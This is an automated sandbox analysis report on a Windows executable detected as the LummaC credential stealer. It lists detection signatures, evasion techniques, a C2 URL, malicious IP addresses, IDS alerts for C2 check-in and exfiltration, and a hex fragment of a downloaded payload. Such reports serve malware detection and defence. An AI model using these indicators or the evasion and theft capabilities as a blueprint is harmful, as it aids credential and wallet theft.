Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561691
MD5:	1cf0d9bb6174853f764aaba59a7cd239
SHA1:	39f4f9c5c7c3a38bd704d3e7e011b5cff63e35e8
SHA256:	fb1dcb1d52ec39fefd8fc2311824d6795911709e8e16f42e0038ecfc68f49c4e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1CF0D9BB6174853F764AABA59A7CD239)

chrome.exe (PID: 8180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1880,i,4249164096274677999,9181346475388211576,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3132 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1916,i,2138066403308314358,10443051361612717293,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1435855496.000000000138E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7416	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7416	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T05:11:19.681078+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	104.21.33.116	443	TCP
2024-11-24T05:11:21.730278+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	104.21.33.116	443	TCP
2024-11-24T05:11:24.025707+0100	2028371	3	Unknown Traffic	192.168.2.7	49711	104.21.33.116	443	TCP
2024-11-24T05:11:26.247580+0100	2028371	3	Unknown Traffic	192.168.2.7	49717	104.21.33.116	443	TCP
2024-11-24T05:11:28.559552+0100	2028371	3	Unknown Traffic	192.168.2.7	49723	104.21.33.116	443	TCP
2024-11-24T05:11:31.081913+0100	2028371	3	Unknown Traffic	192.168.2.7	49729	104.21.33.116	443	TCP
2024-11-24T05:11:33.767751+0100	2028371	3	Unknown Traffic	192.168.2.7	49736	104.21.33.116	443	TCP
2024-11-24T05:11:39.218312+0100	2028371	3	Unknown Traffic	192.168.2.7	49756	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T05:11:20.382137+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49703	104.21.33.116	443	TCP
2024-11-24T05:11:22.418578+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49705	104.21.33.116	443	TCP
2024-11-24T05:11:39.949887+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49756	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T05:11:20.382137+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49703	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T05:11:22.418578+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49705	104.21.33.116	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T05:11:41.413113+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49761	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T05:11:24.819017+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49711	104.21.33.116	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1617339580.00000000084E0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49705 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49703 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49705 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49711 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49756 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://property-imper.sbs/api

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 04:11:41 GMTContent-Type: application/octet-streamContent-Length: 2741760Last-Modified: Sun, 24 Nov 2024 04:06:45 GMTConnection: keep-aliveETag: "6742a655-29d600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 0e 25 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 76 62 6a 71 6d 70 75 00 80 29 00 00 a0 00 00 00 76 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 63 71 6b 63 79 69 77 00 20 00 00 00 20 2a 00 00 04 00 00 00 b0 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49711 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49736 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49756 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49723 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49717 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49729 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49761 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x+GKtrEwdR9nSl4&MD=2zgGtu86 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
